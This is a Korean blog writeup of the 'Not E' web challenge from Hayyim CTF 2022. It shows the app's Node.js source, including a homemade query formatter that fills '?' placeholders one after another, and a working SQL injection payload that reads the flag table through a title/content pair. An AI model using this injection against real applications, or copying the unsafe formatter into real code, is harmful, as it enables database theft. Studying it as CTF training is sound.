-
[Clear] Hayyim CTF 2022 Not E WriteupCTF/Hayyim CTF 2022 2022. 2. 13. 11:32
주어진 페이지에 접근해보면 아래와같이 로그인 후 노트를 기록할수있는 페이지가 나타난다.
주어진 소스를 분석해보자.
app.js를 보면 prepareStatement와 유사하게 안전하게 처리되어있는 듯 보인다.
const crypto = require('crypto'); const express = require('express'); const session = require('express-session'); const bodyParser = require('body-parser'); const { Database, md5, checkParam } = require('./utils'); const app = express(); const db = new Database(':memory:'); app.set('view engine', 'ejs') app.use(bodyParser.urlencoded({ extended: false })); app.use(session({ secret: crypto.randomBytes(32).toString() })); app.all('/login', async (req, res) => { if (req.method !== 'POST') { return res.render('login'); } const { username, password } = req.body; if (!checkParam(username) || !checkParam(password)) { return res.redirect('?message=invalid argument'); } const result = await db.get('select username, password from members where username = ?', [ username ]); if (!result) { await db.run('insert into members values (?, ?)', [ username, md5(password) ]); } else if (result.password !== md5(password)) { return res.redirect('?message=incorrect password'); } req.session.login = username; res.redirect('/'); }); app.use((req, res, next) => { if (!req.session.login) { res.redirect('/login'); } next(); }); app.use('/logout', (req, res) => { delete req.session.login; res.redirect('/login'); }); app.get('/', async (req, res) => { const notes = await db.getAll('select * from posts where owner = ?', [ req.session.login ]); res.render('list', { notes, auth: true }); }); app.all('/new', async (req, res) => { if (req.method !== 'POST') { return res.render('new', { auth: true }); } const { title, content } = req.body; console.log("[*] title = "+title); console.log("[*] typeof title = "+(typeof title)); console.log("[*] content = "+content); console.log("[*] typeof content = "+(typeof content)) if (!checkParam(title) || !checkParam(content)) { return res.redirect('?message=invalid argument'); } const noteId = md5(title + content); await db.run('insert into posts values (?, ?, ?, ?)', [ noteId, title, content, req.session.login ]); return res.redirect('/?message=successfully created'); }); app.get('/view/:noteId', async (req, res) => { const { noteId } = req.params; console.log("[*] noteId = "+noteId) console.log("[*] typeofnoteId = "+(typeof noteId)) const note = await db.get('select * from posts where id = ?', [ noteId ]); if (!note) { return res.redirect('/?message=invalid note'); } res.render('view', { note, auth: true }); }); app.listen(1000);
하지만 util.js에서 특이한점을 발견했다.
const sqlite3 = require('sqlite3'); const flag = require('fs').readFileSync('/flag').toString(); class Database { constructor(filename) { this.db = new sqlite3.Database(filename); this.db.serialize(() => { this.run('create table members (username text, password text)'); this.run('create table posts (id text, title text, content text, owner text)'); this.run('create table flag (flag text)'); ##### .......................... (1) this.run('insert into flag values (?)', [ flag ]); }); } run(...params) { return new Promise((resolve) => { this.db.serialize(() => { this.db.run(this.#formatQuery(...params), (_, res) => { resolve(res); }); }); }); } get(...params) { return new Promise((resolve) => { this.db.serialize(() => { this.db.get(this.#formatQuery(...params), (_, res) => { resolve(res); }); }); }); } getAll(...params) { return new Promise((resolve) => { this.db.serialize(() => { this.db.all(this.#formatQuery(...params), (_, res) => { resolve(res); }); }); }); } #formatQuery(sql, params = []) { ##### .......................................... (2) let a = 0; for (const param of params) { if (typeof param === 'number') { } else if (typeof param === 'string') { sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, ''))); } else { sql = sql.replace('?', ""); // unreachable } a++; } return sql; }; } const checkParam = (param) => { if (typeof param !== 'string' || param.length === 0 || param.length > 256) { return false; } return true; }; module.exports = { Database, checkParam, md5: require('md5') };
(2)와 같이 구문이 안전한지 여부 검사 후 적용시키는 #formatQuery라는 내용을 직접 구현했다.
사용자 입력 값이 string type 일때 " 와 \ 를 제거하고 ? 에 Replace 시킨다는 내용이다.
처음에는 서버에서 number type으로 인식시키면 바로 sqli가 가능하다고 보여져서 이쪽으로 삽질을 했으나 실패했다. Content-type을 바꿔보는 등 여러 시도를 해보았으나 undefined 로 인식하거나 String으로 인식하는것이 전부였다.
이 과정을 통해 얻은점은 JSON.stringfy() 메서드는 양끝에 " 를 추가한다는 것이다.
number type에 대한 집착을 버리고 다시 sql injection 방법을 고민해봤다. 소스코드를 다시 한 번 찬찬히 분석해보니 취약 포인트를 알 수 있었다.
note가 기록되는 부분은 아래와 같이 호출되며,
await db.run('insert into posts values (?, ?, ?, ?)', [ noteId, title, content, req.session.login ]);
#formatQuery는 여러 파라미터를 처리할때 ?를 사용자 입력값으로 바꾸는 것을 "반복적"으로 수행한다.
#formatQuery(sql, params = []) { let a = 0; for (const param of params) { if (typeof param === 'number') { sql = sql.replace('?', param); } else if (typeof param === 'string') { sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, '')));))) } else { console.log("[*] sql unreachable = "+sql) } a++; } return sql; };
따라서, 아래와 같이 title과 content를 입력하면,
입력한 payload는 다음고 같이 처리될 것이다.
? ||'ThisIsTitle',(select flag from flag),'vardy')-- - title content에 삽입될 서브쿼리 owner
좀 더 자세하게 보면 우선 첫번 째 ?가 noteId로 입력되고
insert into posts values ("4b8d9ffeb4cf8652d4af45a61d46f615", ?, ?, ?)
title에 ? 를 입력했으므로 "?" 로 변환되어 두번째 ? 자리에 적용된다.
insert into posts values ("4b8d9ffeb4cf8652d4af45a61d46f615", "?", ?, ?)
content에 입력한 값은 이제 세번째 ? 가 아닌 "?" 안에 있는 물음표에 적용되어 Sql injection이 발생한다.
insert into posts values ("4b8d9ffeb4cf8652d4af45a61d46f615", ""||'ThisIsTitle',(select flag from flag),'vardy')-- -"", ?, ?)
이는 아래와 같이 처리되어 노트에 플래그가 기록된다.
insert into posts values ("4b8d9ffeb4cf8652d4af45a61d46f615", 'ThisIsTitle', (select flag from flag),'vardy')
로컬 서버 구축 후 테스트 과정 FLAG = hsctf{038d083216a920c589917b898ff41fd9611956b711035b30766ffaf2ae7f75f2}
반응형'CTF > Hayyim CTF 2022' 카테고리의 다른 글
[Clear] Hayyim CTF 2022 Cyberchef, Cyber Headchef Writeup (0) 2022.02.12